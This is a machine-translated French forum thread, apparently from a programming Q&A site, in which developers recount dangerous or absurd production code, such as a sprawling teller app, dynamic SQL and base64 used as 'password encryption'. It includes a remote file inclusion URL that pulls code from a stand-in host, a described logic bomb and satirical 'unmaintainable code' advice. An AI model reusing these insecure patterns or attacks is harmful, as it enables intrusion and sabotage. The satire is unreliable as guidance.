Quel est le fragment de code le plus malfaisant ou dangereux que vous ayez jamais vu dans un environnement de production dans une entreprise? Je n'ai jamais rencontré de code de production que je considérerais comme délibérément malveillant et mauvais, donc je suis assez curieux de voir ce que les autres ont trouvé.
Le code le plus dangereux que j'ai jamais vu était une procédure stockée à deux serveurs liés loin de notre serveur de base de données de production principal. La procédure stockée a accepté tout paramètre NVARCHAR (8000) et a exécuté le paramètre sur le serveur de production cible via une commande sp_executeSQL à double saut. C'est-à-dire que la commande sp_executeSQL a exécuté une autre commande sp_executeSQL afin de sauter deux serveurs liés. Oh, et le compte du serveur lié avait des droits d'administrateur système sur le serveur de production cible.
Avertissement: Long post effrayant à venir
J'ai écrit sur une application sur laquelle j'ai travaillé auparavant ici et ici . Pour faire simple, mon entreprise a hérité de 130 000 lignes de déchets en provenance d'Inde. La demande a été écrite en C #; c'était une appli de guichet, le même genre de logiciel que les scrutateurs utilisent derrière le comptoir chaque fois que vous allez à la banque. L'application s'est écrasée 40 à 50 fois par jour et n'a tout simplement pas pu être refactorisée en code de travail. Mon entreprise a dû réécrire l'ensemble de l'application en 12 mois.
Pourquoi cette application est-elle mauvaise? Parce que la vue du code source était suffisante pour rendre fou un homme sain d'esprit et un homme fou sain d'esprit. La logique tordue utilisée pour écrire cette application n'aurait pu être inspirée que par un cauchemar lovecraftien. Les fonctionnalités uniques de cette application comprenaient:
Sur 130 000 lignes de code, l'ensemble de l'application contenait 5 classes (hors fichiers de formulaire). Tous ces cours étaient des cours statiques publics. Une classe s'appelait Globals.cs, qui contenait des milliers et des milliers et des milliers de variables statiques publiques utilisées pour contenir la totalité de l'état de l'application. Ces cinq classes contenaient 20 000 lignes de code au total, le code restant étant intégré dans les formulaires.
Vous devez vous demander, comment les programmeurs ont-ils réussi à écrire une si grosse application sans aucune classe? Qu'ont-ils utilisé pour représenter leurs objets de données? Il s'avère que les programmeurs ont réussi à réinventer la moitié des concepts que nous avons tous appris sur OOP simplement en combinant ArrayLists, HashTables et DataTables. Nous en avons vu beaucoup:
Gardez à l'esprit qu'aucune des structures de données ci-dessus n'est fortement typée, vous devez donc convertir tout objet mystère que vous sortez de la liste au type correct. Il est étonnant de voir quel type de structures de données complexes, de type Rube Goldberg, vous pouvez créer en utilisant uniquement les tableaux de tableaux, les tableaux de hachage et les tableaux de données.
Pour partager un exemple d'utilisation du modèle d'objet détaillé ci-dessus, considérez Comptes: le programmeur d'origine a créé une table de hachage distincte pour chaque propriété réalisable d'un compte: une table de hachage appelée hstAcctExists, hstAcctNeedsOverride, hstAcctFirstName. Les clés de toutes ces tables de hachage étaient une chaîne séparée par "|". Les clés imaginables comprenaient "123456 | DDA", "24100 | SVG", "100 | LNS", etc.
Étant donné que l'état de l'application entière était facilement accessible à partir des variables globales, les programmeurs ont jugé inutile de transmettre des paramètres aux méthodes. Je dirais que 90% des méthodes ont pris 0 paramètres. Parmi les rares qui l'ont fait, tous les paramètres ont été passés sous forme de chaînes pour plus de commodité, quelle que soit la chaîne représentée.
Les fonctions libres d'effets secondaires n'existaient pas. Chaque méthode a modifié une ou plusieurs variables dans la classe Globals. Tous les effets secondaires n'avaient pas de sens; par exemple, l'une des méthodes de validation de formulaire a eu un effet secondaire mystérieux du calcul des paiements excédentaires et à court terme sur les prêts pour tout compte stocké Globals.lngAcctNum.
Bien qu'il y ait beaucoup de formulaires, il y en avait un pour tous les gouverner: frmMain.cs, qui contenait 20 000 lignes de code. Qu'a fait frmMain? Tout. Il a recherché des comptes, imprimé des reçus, distribué de l'argent, il a tout fait.
Parfois, d'autres formulaires devaient appeler des méthodes sur frmMain. Plutôt que de factoriser ce code hors du formulaire dans une classe séparée, pourquoi ne pas simplement appeler le code directement:
((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
Pour rechercher des comptes, les programmeurs ont fait quelque chose comme ceci:
bool blnAccountExists =
new frmAccounts().GetAccountInfo().blnAccountExists
Aussi mauvais qu'il soit déjà en train de créer un formulaire invisible pour exécuter la logique métier, comment pensez-vous que le formulaire savait quel compte rechercher? C'est simple: le formulaire peut accéder à Globals.lngAcctNum et Globals.strAcctType. (Qui n'aime pas la notation hongroise?)
La réutilisation de code était synonyme de ctrl-c, ctrl-v. J'ai trouvé des méthodes de 200 lignes copiées/collées sur 20 formulaires.
L'application avait un modèle de thread bizarre, ce que j'aime appeler le modèle thread-and-timer: chaque formulaire qui a engendré un thread avait un timer. Chaque thread généré a déclenché un minuteur qui avait un retard de 200 ms; une fois le minuteur démarré, il vérifierait si le thread avait défini un booléen magique, puis abandonnerait le thread. L'exception ThreadAbortException résultante a été avalée.
Vous penseriez que vous ne verriez ce modèle qu'une seule fois, mais je l'ai trouvé dans au moins 10 endroits différents.
En parlant de threads, le mot clé "lock" n'est jamais apparu dans l'application. Les threads manipulaient librement l'état global sans prendre de verrou.
Chaque méthode de l'application contenait un bloc try/catch. Chaque exception a été enregistrée et avalée.
Qui a besoin d'activer les énumérations lors de l'activation des chaînes est tout aussi simple!
Un génie a compris que vous pouvez connecter plusieurs contrôles de formulaire au même gestionnaire d'événements. Comment le programmeur a-t-il géré cela?
private void OperationButton_Click(object sender, EventArgs e)
{
Button btn = (Button)sender;
if (blnModeIsAddMc)
{
AddMcOperationKeyPress(btn);
}
else
{
string strToBeAppendedLater = string.Empty;
if (btn.Name != "btnBS")
{
UpdateText();
}
if (txtEdit.Text.Trim() != "Error")
{
SaveFormState();
}
switch (btn.Name)
{
case "btnC":
ResetValues();
break;
case "btnCE":
txtEdit.Text = "0";
break;
case "btnBS":
if (!blnStartedNew)
{
string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1);
DisplayValue((EditText == string.Empty) ? "0" : EditText);
}
break;
case "btnPercent":
blnAfterOp = true;
if (GetValueDecimal(txtEdit.Text, out decCurrValue))
{
AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false);
decCurrValue = decResultValue * decCurrValue / intFormatFactor;
DisplayValue(GetValueString(decCurrValue));
AddToTape(GetValueString(decCurrValue), string.Empty, true, false);
strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20)
+ strOpPressed.PadRight(3);
if (arrLstTapeHist.Count == 0)
{
arrLstTapeHist.Add(strToBeAppendedLater);
}
blnEqualOccurred = false;
blnStartedNew = true;
}
break;
case "btnAdd":
case "btnSubtract":
case "btnMultiply":
case "btnDivide":
blnAfterOp = true;
if (txtEdit.Text.Trim() == "Error")
{
btnC.PerformClick();
return;
}
if (blnNumPressed || blnEqualOccurred)
{
if (GetValueDecimal(txtEdit.Text, out decCurrValue))
{
if (Operation())
{
AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
DisplayValue(GetValueString(decResultValue));
}
else
{
AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
DisplayValue("Error");
}
strOpPressed = btn.Text;
blnEqualOccurred = false;
blnNumPressed = false;
}
}
else
{
strOpPressed = btn.Text;
AddToTape(GetValueString(0), (string)btn.Text, false, false);
}
if (txtEdit.Text.Trim() == "Error")
{
AddToTape("Error", string.Empty, true, true);
btnC.PerformClick();
txtEdit.Text = "Error";
}
break;
case "btnEqual":
blnAfterOp = false;
if (strOpPressed != string.Empty || strPrevOp != string.Empty)
{
if (GetValueDecimal(txtEdit.Text, out decCurrValue))
{
if (OperationEqual())
{
DisplayValue(GetValueString(decResultValue));
}
else
{
DisplayValue("Error");
}
if (!blnEqualOccurred)
{
strPrevOp = strOpPressed;
decHistValue = decCurrValue;
blnNumPressed = false;
blnEqualOccurred = true;
}
strOpPressed = string.Empty;
}
}
break;
case "btnSign":
GetValueDecimal(txtEdit.Text, out decCurrValue);
DisplayValue(GetValueString(-1 * decCurrValue));
break;
}
}
}
Le même génie a également découvert le glorieux opérateur ternaire. Voici quelques exemples de code:
frmTranHist.cs [line 812]:
strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty
: chkDebits.Checked ? "D"
: chkCredits.Checked ? "C"
: "N";
frmTellTransHist.cs [line 961]:
if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
frmMain.TellCash.cs [line 727]:
if (Validations(parPostMode == "ADD" ? true : false))
Voici un extrait de code qui illustre l'utilisation abusive typique de StringBuilder. Notez comment le programmeur concatène une chaîne dans une boucle, puis ajoute la chaîne résultante au StringBuilder:
private string CreateGridString()
{
string strTemp = string.Empty;
StringBuilder strBuild = new StringBuilder();
foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows)
{
strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' ');
strTemp += " ";
strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy");
strTemp += " ";
strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' ');
strTemp += " ";
strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' ');
strTemp += " ";
strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' ');
strTemp += " ";
strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62);
strBuild.AppendLine(strTemp);
}
strCreateGridString = strBuild.ToString();
return strCreateGridString;//strBuild.ToString();
}
Aucune clé primaire, index ou contrainte de clé étrangère n'existait sur les tables, presque tous les champs étaient de type varchar (50) et 100% des champs étaient nullables. Fait intéressant, les champs de bits n'ont pas été utilisés pour stocker des données booléennes; à la place, un champ char (1) a été utilisé et les caractères "Y" et "N" ont été utilisés pour représenter respectivement vrai et faux.
En parlant de la base de données, voici un exemple représentatif d'une procédure stockée:
ALTER PROCEDURE [dbo].[Get_TransHist]
(
@TellerID int = null,
@CashDrawer int = null,
@AcctNum bigint = null,
@StartDate datetime = null,
@EndDate datetime = null,
@StartTranAmt decimal(18,2) = null,
@EndTranAmt decimal(18,2) = null,
@TranCode int = null,
@TranType int = null
)
AS
declare @WhereCond Varchar(1000)
declare @strQuery Varchar(2000)
Set @WhereCond = ' '
Set @strQuery = ' '
If not @TellerID is null
Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar)
If not @CashDrawer is null
Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar)
If not @AcctNum is null
Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar)
If not @StartDate is null
Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + ''''
If not @EndDate is null
Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + ''''
If not @TranCode is null
Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar)
If not @EndTranAmt is null
Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar)
If not @StartTranAmt is null
Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt as varchar)
If not (@TranType is null or @TranType = -1)
Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar)
--Get the Teller Transaction Records according to the filters
Set @strQuery = 'SELECT
TT.TranAmt as [Transaction Amount],
TT.TranCode as [Transaction Code],
RTrim(LTrim(TT.TranDesc)) as [Transaction Description],
TT.AcctNbr as [Account Number],
TT.TranID as [Transaction Number],
Convert(varchar,TT.ActivityDateTime,101) as [Activity Date],
Convert(varchar,TT.EffDate,101) as [Effective Date],
Convert(varchar,TT.PostDate,101) as [Post Date],
Convert(varchar,TT.ActivityDateTime,108) as [Time],
TT.BatchID,
TT.ItemID,
isnull(TT.DocumentID, 0) as DocumentID,
TT.TellerName,
TT.CDId,
TT.ChkNbr,
RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr,
(CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode,
DispensedYN
FROM TellerTrans TT WITH (NOLOCK)
LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType
WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID'
Exec (@strQuery)
Cela dit, le plus gros problème de cette application de 130 000 lignes est le suivant: aucun test unitaire.
Oui, j'ai envoyé cette histoire à TheDailyWTF, puis j'ai quitté mon emploi.
J'ai vu une fonction de cryptage de mot de passe comme celle-ci
function EncryptPassword($password)
{
return base64_encode($password);
}
Dans un système qui acceptait les paiements par carte de crédit, nous utilisions pour stocker le numéro de carte de crédit complet ainsi que le nom, la date d'expiration, etc.
Il s'avère que c'est illégal, ce qui est ironique étant donné que nous écrivions le programme pour le ministère de la Justice à l'époque.
C'était la routine de gestion des erreurs dans un morceau de code commercial:
/* FIXME! */
while (TRUE)
;
Je devais découvrir pourquoi "l'application continue de se bloquer".
Combinaison de toutes les "fonctionnalités" Php suivantes à la fois.
Noms de tableaux/variables vraiment horribles (exemple littéral):
foreach( $variablesarry as $variablearry ){
include( $$variablearry );
}
(J'ai littéralement passé une heure à essayer de comprendre comment cela fonctionnait avant de réaliser qu'ils wern't la même variable)
Incluez 50 fichiers, qui comprennent chacun 50 fichiers, et les choses sont effectuées de manière linéaire/procédurale dans les 50 fichiers de manière conditionnelle et imprévisible.
Pour ceux qui ne connaissent pas les variables variables:
$x = "hello";
$$x = "world";
print $hello # "world" ;
Considérez maintenant que $ x contient une valeur de votre URL (enregistrez la magie globale), donc nulle part dans votre code n'est évidente la variable avec laquelle vous travaillez car elle est entièrement déterminée par l'url.
Considérez maintenant ce qui se passe lorsque le contenu de cette variable peut être une URL spécifiée par l'utilisateur du site Web. Oui, cela peut ne pas avoir de sens pour vous, mais cela crée une variable nommée cette URL, c'est-à-dire:
$http://google.com
,
sauf qu'il est impossible d'y accéder directement, vous devez l'utiliser via la technique double $ ci-dessus.
De plus, lorsqu'il est possible pour un utilisateur de spécifier une variable sur l'URL qui indique le fichier à inclure, il existe des astuces désagréables comme
http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php
et si cette variable apparaît dans include($include)
et 'evilcode.php' imprime son code en clair, et Php n'est pas sécurisé correctement, php se contentera de se débrouiller, télécharger evilcode.php et l'exécuter en tant qu'utilisateur du serveur Web.
Le serveur Web lui accordera toutes ses autorisations, etc., autorisant les appels Shell, téléchargeant des fichiers binaires arbitraires et les exécutant, etc., jusqu'à ce que vous vous demandiez pourquoi vous avez une boîte à court d'espace disque, et qu'un dir contient 8 Go de films piratés avec doublage italien, partagé sur IRC via un bot.
Je suis juste reconnaissant d'avoir découvert que l'atrocité avant que le script exécutant l'attaque ne décide de faire quelque chose de vraiment dangereux, comme récolter des informations extrêmement confidentielles de la base de données plus ou moins non sécurisée: |
(Je pourrais divertir le dailywtf tous les jours pendant 6 mois avec cette base de code, je ne vous trompe pas. C'est juste dommage que j'ai découvert le dailywtf après avoir échappé à ce code)
Dans le fichier d'en-tête principal du projet, d'un ancien programmeur COBOL, qui écrivait inexplicablement un compilateur en C:
int i, j, k;
"Donc, vous n'obtiendrez pas d'erreur de compilation si vous oubliez de déclarer vos variables de boucle."
Le programme d'installation de Windows.
Cet article Comment écrire du code non maintenable couvre certaines des techniques les plus brillantes connues de l'homme. Certains de mes préférés sont:
Nouvelles utilisations des noms pour bébé
Achetez une copie d'un livre de nommage pour bébé et vous ne serez jamais à court de noms de variables. Fred est un nom merveilleux et facile à taper. Si vous recherchez des noms de variables faciles à saisir, essayez adsf ou aoeu si vous saisissez avec un clavier DSK.
Mauvaise orthographe créative
Si vous devez utiliser des noms de variable et de fonction descriptifs, orthographiez-les mal. En mal orthographiant certaines fonctions et noms de variables, et en les orthographiant correctement dans d'autres (comme SetPintleOpening SetPintalClosing), nous annulons efficacement l'utilisation de grep ou IDE techniques de recherche. Cela fonctionne incroyablement bien. Ajoutez un international saveur en épelant tory ou tori dans différents théâtres/théâtres.
Soyez abstrait
Dans les fonctions de nommage et les variables, faites un usage intensif de mots abstraits comme celui-ci, tout, les données, manipulez, remplissez, faites, routinez, effectuez et les chiffres, par ex. routineX48, PerformDataFunction, DoIt, HandleStuff et do_args_method.
capitalisation
Mettez au hasard la première lettre d'une syllabe au milieu d'un mot. Par exemple ComputeRasterHistoGram ().
Minuscules l ressemble beaucoup au chiffre 1
Utilisez l minuscule pour indiquer les constantes longues. par exemple. 10l est plus susceptible d'être confondu avec 101 que 10L. Interdisez toutes les polices qui désambiguïsent clairement uvw wW gq9 2z 5s il17 |! J oO08 `'";,. M nn rn {[()]}. Soyez créatif.
Recyclez vos variables
Partout où les règles d'étendue le permettent, réutilisez les noms de variables non liés existants. De même, utilisez la même variable temporaire à deux fins indépendantes (prétendant enregistrer les emplacements de pile). Pour une variante diabolique, modifiez la variable, par exemple, attribuez une valeur à une variable en haut d'une méthode très longue, puis quelque part au milieu, modifiez la signification de la variable de manière subtile, par exemple en la convertissant à partir de une coordonnée de base 0 à une coordonnée de base 1. Soyez certain de ne pas documenter ce changement de sens.
Cd écrit avec vwls s mch trsr
Lorsque vous utilisez des abréviations dans des noms de variable ou de méthode, brisez l'ennui avec plusieurs variantes pour le même mot, et épelez-le même de temps en temps. Cela aide à vaincre ces clochards paresseux qui utilisent la recherche de texte pour comprendre seulement certains aspects de votre programme. Considérez l'orthographe des variantes comme une variante du stratagème, par exemple mélange de couleurs internationales, de couleurs américaines et de kulerz dude. Si vous épelez les noms en entier, il n'y a qu'une seule façon possible d'épeler chaque nom. Celles-ci sont trop faciles à retenir pour le programmeur de maintenance. Parce qu'il existe de nombreuses façons différentes d'abréger un mot, avec les abréviations, vous pouvez avoir plusieurs variables différentes qui ont toutes le même objectif apparent. En prime, le programmeur de maintenance peut même ne pas remarquer qu'il s'agit de variables distinctes.
Références cinématographiques obscures
Utilisez des noms constants comme LancelotsFavouriteColour au lieu de bleu et affectez-lui une valeur hexadécimale de 0204FB $. La couleur semble identique au bleu pur à l'écran, et un programmeur de maintenance devrait travailler sur 0204FB (ou utiliser un outil graphique) pour savoir à quoi il ressemble. Seul quelqu'un intimement familier avec Monty Python et le Saint Graal saurait que la couleur préférée de Lancelot était le bleu. Si un programmeur de maintenance ne peut pas citer des films Monty Python Python $ === de mémoire, il ou elle n'a rien à faire en tant que programmeur.
Documentez l'évidence
Pepper le code avec des commentaires comme/* ajouter 1 à i */cependant, ne jamais documenter des trucs laineux comme le but général du package ou de la méthode.
Documenter pourquoi pas
Documentez uniquement les détails de ce qu'un programme fait, pas ce qu'il essaie d'accomplir. De cette façon, s'il y a un bug, le fixateur n'aura aucune idée de ce que le code devrait faire.
Effets secondaires
En C, les fonctions sont supposées être idempotentes (sans effets secondaires). J'espère que cet indice est suffisant.
Utilisez Octal
Faites passer les littéraux octaux dans une liste de nombres décimaux comme celle-ci:
array = new int []
{
111,
120,
013,
121,
};
ASCII étendu
Extended ASCII sont parfaitement valides comme noms de variable, y compris les caractères ß, Ð et ñ. Ils sont presque impossibles à saisir sans copier/coller dans un simple éditeur de texte.
Noms d'autres langues
Utilisez des dictionnaires de langues étrangères comme source pour les noms de variables. Par exemple, utilisez le punkt allemand pour le point. Les codeurs de maintenance, sans votre maîtrise de l'allemand, apprécieront l'expérience multiculturelle de déchiffrer le sens.
Noms issus des mathématiques
Choisissez des noms de variables qui se font passer pour des opérateurs mathématiques, par exemple:
openParen = (slash + asterix) / equals;
Code qui se fait passer pour des commentaires et vice-versa
Incluez des sections de code qui sont commentées mais qui, à première vue, ne semblent pas l'être.
for(j=0; j<array_len; j+ =8)
{
total += array[j+0 ];
total += array[j+1 ];
total += array[j+2 ]; /* Main body of
total += array[j+3]; * loop is unrolled
total += array[j+4]; * for greater speed.
total += array[j+5]; */
total += array[j+6 ];
total += array[j+7 ];
}
Sans le codage couleur, remarqueriez-vous que trois lignes de code sont commentées?
Noms arbitraires qui se font passer pour des mots-clés
Lors de la documentation, et vous avez besoin d'un nom arbitraire pour représenter un nom de fichier, utilisez "fichier". N'utilisez jamais un nom manifestement arbitraire comme "Charlie.dat" ou "Frodo.txt". En général, dans vos exemples, utilisez des noms arbitraires qui ressemblent autant que possible à des mots clés réservés. Par exemple, les bons noms pour les paramètres ou les variables seraient "banque", "vide", "classe", "const", "constant", "entrée", "clé", "mot clé", "type", "sortie" , "paramètre" "parm", "système", "type", "valeur", "var" et "variable". Si vous utilisez des mots réservés réels pour vos noms arbitraires, qui seraient rejetés par votre processeur de commandes ou votre compilateur, tant mieux. Si vous le faites bien, les utilisateurs seront désespérément confus entre les mots clés réservés et les noms arbitraires dans votre exemple, mais vous pouvez avoir l'air innocent, en prétendant que vous l'avez fait pour les aider à associer l'objectif approprié à chaque variable.
Les noms de code ne doivent pas correspondre aux noms d'écran
Choisissez vos noms de variables pour n'avoir absolument aucune relation avec les étiquettes utilisées lorsque ces variables sont affichées à l'écran. Par exemple. sur l'écran, étiquetez le champ "Code postal" mais dans le code appelez la variable associée "Zip".
Choix du meilleur opérateur de surcharge
En C++, surchargez +, -, *,/pour faire des choses sans aucun rapport avec l'addition, la soustraction, etc. Après tout, si le Stroustroup peut utiliser l'opérateur de décalage pour effectuer des E/S, pourquoi ne devriez-vous pas être tout aussi créatif? Si vous surchargez +, assurez-vous de le faire de manière à ce que i = i + 5; a une signification totalement différente de i + = 5; Voici un exemple d'élever l'obscurcissement d'opérateur de surcharge à un art supérieur. Surcharger le '!' pour une classe, mais la surcharge n'a rien à voir avec l'inversion ou la négation. Faites-le retourner un entier. Ensuite, pour obtenir une valeur logique, vous devez utiliser '! ! '. Cependant, cela inverse la logique, donc [roulement de tambour] vous devez utiliser '! ! ! '. Ne confondez pas le! , qui renvoie un booléen 0 ou 1, avec l'opérateur de négation logique ~ au niveau du bit.
Exceptions
Je vais vous dévoiler un secret de codage peu connu. Les exceptions sont une douleur dans le derrière. Un code correctement écrit n'échoue jamais, donc les exceptions ne sont en fait pas nécessaires. Ne perdez pas de temps avec eux. Les exceptions de sous-classement concernent les incompétents qui savent que leur code échouera. Vous pouvez grandement simplifier votre programme en n'ayant qu'un seul try/catch dans toute l'application (en principal) qui appelle System.exit (). Il suffit de coller un ensemble de lancers parfaitement standard sur chaque en-tête de méthode, qu'ils puissent réellement lever des exceptions ou non.
Emplacements Magic Matrix
Utilisez des valeurs spéciales dans certains emplacements de matrice comme indicateurs. Un bon choix est l'élément [3] [0] dans une matrice de transformation utilisée avec un système de coordonnées homogène.
Slots Magic Array revisités
Si vous avez besoin de plusieurs variables d'un type donné, définissez-en simplement un tableau, puis accédez-y par numéro. Choisissez une convention de numérotation que vous seul connaissez et ne la documentez pas. Et ne vous embêtez pas à définir des constantes #define pour les index. Tout le monde devrait juste savoir que le widget de variable globale [15] est le bouton d'annulation. Il s'agit simplement d'une variante à jour de l'utilisation des adresses numériques absolues dans le code assembleur.
Ne jamais embellir
N'utilisez jamais de code source automatisé (embellisseur) pour garder votre code aligné. Faites pression pour qu'ils soient bannis de votre entreprise au motif qu'ils créent de faux deltas dans PVCS/CVS (suivi du contrôle de version) ou que chaque programmeur devrait avoir son propre style d'indentation tenu pour toujours sacro-saint pour tout module qu'il a écrit. Insistez pour que d'autres programmeurs respectent ces conventions idiosyncratiques dans "ses" modules. L'interdiction des embellisseurs est assez facile, même s'ils permettent d'économiser des millions de frappes en effectuant un alignement manuel et des jours gaspillés en interprétant mal du code mal aligné. Insistez simplement pour que tout le monde utilise le même format ordonné, non seulement pour le stockage dans le référentiel commun, mais également pendant l'édition. Cela démarre un RWAR et le patron, pour maintenir la paix, interdira le rangement automatisé. Sans rangement automatisé, vous êtes maintenant libre de mal aligner accidentellement le code pour donner l'illusion d'optique que les corps de boucles et les ifs sont plus longs ou plus courts qu'ils ne le sont réellement, ou que les clauses else correspondent à un si différent de ce qu'elles font réellement. par exemple.
if(a)
if(b) x=y;
else x=z;
Les tests concernent les lâches
Un courageux codeur contournera cette étape. Trop de programmeurs ont peur de leur patron, peur de perdre leur emploi, peur du courrier haineux des clients et peur d'être poursuivi. Cette peur paralyse l'action et réduit la productivité. Des études ont montré que l'élimination de la phase de test signifie que les gestionnaires peuvent fixer les dates d'expédition à l'avance, une aide évidente dans le processus de planification. La peur disparue, l'innovation et l'expérimentation peuvent fleurir. Le rôle du programmeur est de produire du code, et le débogage peut être effectué par un effort de coopération de la part du service d'assistance et du groupe de maintenance hérité.
Si nous avons pleinement confiance en notre capacité de codage, les tests seront inutiles. Si nous regardons cela logiquement, tout imbécile peut reconnaître que les tests ne tentent même pas de résoudre un problème technique, mais plutôt un problème de confiance émotionnelle. Une solution plus efficace à ce problème de manque de confiance consiste à éliminer complètement les tests et à envoyer nos programmeurs à des cours sur l'estime de soi. Après tout, si nous choisissons de faire des tests, nous devons tester chaque changement de programme, mais nous n'avons qu'à envoyer les programmeurs à un cours sur la construction de l'estime de soi. Le rapport coût-bénéfice est aussi étonnant qu'il est évident.
Inverser la convention vraie fausse habituelle
Inversez les définitions habituelles du vrai et du faux. Cela semble très évident, mais cela fonctionne très bien. Vous pouvez masquer:
#define TRUE 0
#define FALSE 1
quelque part profondément dans le code afin qu'il soit extrait des entrailles du programme à partir d'un fichier que personne ne regarde plus. Ensuite, forcez le programme à faire des comparaisons comme:
if ( var == TRUE )
if ( var != FALSE )
quelqu'un est tenu de "corriger" la redondance apparente et d'utiliser var ailleurs de la manière habituelle:
if ( var )
Une autre technique consiste à faire en sorte que VRAI et FAUX aient la même valeur, bien que la plupart considèrent cela comme une tricherie. L'utilisation des valeurs 1 et 2 ou -1 et 0 est un moyen plus subtil de faire trébucher les gens tout en ayant l'air respectable. Vous pouvez utiliser cette même technique dans Java en définissant une constante statique appelée TRUE. Les programmeurs peuvent être plus méfiants que vous êtes inutile car il existe un vrai littéral intégré en Java.
Exploiter la schizophrénie
Java est schizophrène quant aux déclarations de tableaux. Vous pouvez leur faire l'ancien C, façon String x [], (qui utilise la notation mixte pré-postfix) ou la nouvelle façon String [] x, qui utilise la notation de préfixe pur. Si vous voulez vraiment dérouter les gens, mélangez la notationse.g.
byte[ ] rowvector, colvector , matrix[ ];
ce qui équivaut à:
byte[ ] rowvector;
byte[ ] colvector;
byte[ ][] matrix;
Je ne sais pas si j'appellerais le code "diabolique", mais nous avions un développeur qui créerait Object[]
tableaux au lieu d'écrire des classes. Partout.
J'ai vu (et publié sur thedailywtf) du code qui donnera à tout le monde des droits d'administrateur sur une partie importante d'une application le mardi. Je suppose que le développeur d'origine a oublié de supprimer le code après le test de la machine locale.
Je ne sais pas si c'est "mal" autant qu'erroné (je l'ai récemment posté sur The Old New Thing):
Je connaissais un gars qui aimait stocker des informations sous forme de chaînes délimitées. Il était familier avec le concept de tableaux, comme montré quand il a utilisé des tableaux de chaînes délimitées, mais l'ampoule ne s'est jamais allumée.
Encodage base 36 pour stocker les entiers dans des chaînes.
Je suppose que la théorie va quelque peu dans le sens de:
En ce moment, je travaille avec une base de données qui stocke les jours de la semaine sur lesquels un événement peut se produire en tant que champ de bits 7 bits (0-127), stocké dans la base de données sous la forme d'une chaîne de 2 caractères allant de '0' à "3J".
Je me souviens avoir vu un gestionnaire de connexion qui a pris une demande de publication et redirigé vers un GET avec le nom d'utilisateur et le mot de passe transmis en tant que paramètres. C'était pour un système médical de "classe entreprise".
Je l'ai remarqué en vérifiant certains journaux - j'ai été très tenté d'envoyer son mot de passe au PDG.
Peut-être pas mal, mais certainement plutôt, euh ... égaré.
Une fois, j'ai dû réécrire un "analyseur de langage naturel" qui a été implémenté en une seule ligne de 5 000 si ... alors déclaration.
un péché...
if (text == "hello" || text == "hi")
response = "hello";
else if (text == "goodbye")
response = "bye";
else
...
Vraiment mal était ce morceau de code delphi brillant:
type
TMyClass = class
private
FField : Integer;
public
procedure DoSomething;
end;
var
myclass : TMyClass;
procedure TMyClass.DoSomething;
begin
myclass.FField := xxx; //
end;
Cela fonctionnait très bien s'il n'y avait qu'une seule instance d'une classe. Mais malheureusement, j'ai dû utiliser une autre instance et cela a créé beaucoup de bugs intéressants.
Quand j'ai trouvé ce bijou, je ne me souviens pas si je me suis évanoui ou ai crié, probablement les deux.
J'ai vu du code dans un site ASP.NET MVC d'un type qui n'avait fait que des formulaires Web auparavant (et qui est un copieur/copieur renommé!) Qui a bloqué un événement de clic côté client sur un <a>
tag qui a appelé une méthode javascript qui a fait un document.location.
J'ai essayé d'expliquer qu'un href
sur le <a>
tag ferait de même !!!
Un peu de mal ... quelqu'un que je connais a écrit dans l'application Web interne principale de l'entreprise, une vérification quotidienne pour voir s'il s'est connecté au système au cours des 10 derniers jours. S'il n'y a aucune trace de lui connecté, cela désactive l'application pour tout le monde dans l'entreprise.
Il a écrit la pièce une fois qu'il a entendu des rumeurs de licenciements, et s'il tombait en panne, l'entreprise devrait en souffrir.
La seule raison pour laquelle je le savais, c'est qu'il a pris 2 semaines de vacances et je l'ai appelé lorsque le site s'est effondré. Il m'a dit de me connecter avec son nom d'utilisateur/mot de passe ... et tout allait bien à nouveau.
Bien sûr ... des mois plus tard, nous avons tous été licenciés.
Mon collègue aime rappeler que l'application ASP.NET qui utilisait un public static
connexion à la base de données pour tous les travaux de base de données.
Oui, une connexion pour toutes les demandes. Et non, aucun verrouillage n'a été effectué non plus.
Je me souviens avoir dû configurer IIS 3 pour exécuter les scripts Perl CGI (oui, c'était il y a très longtemps). La recommandation officielle à l'époque était de mettre Perl.exe dans cgi-bin. Il a fonctionné, mais il a également donné tout le monde accès à un moteur de script assez puissant!
Tout RFC 3514 - programme conforme qui définit le mauvais bit .
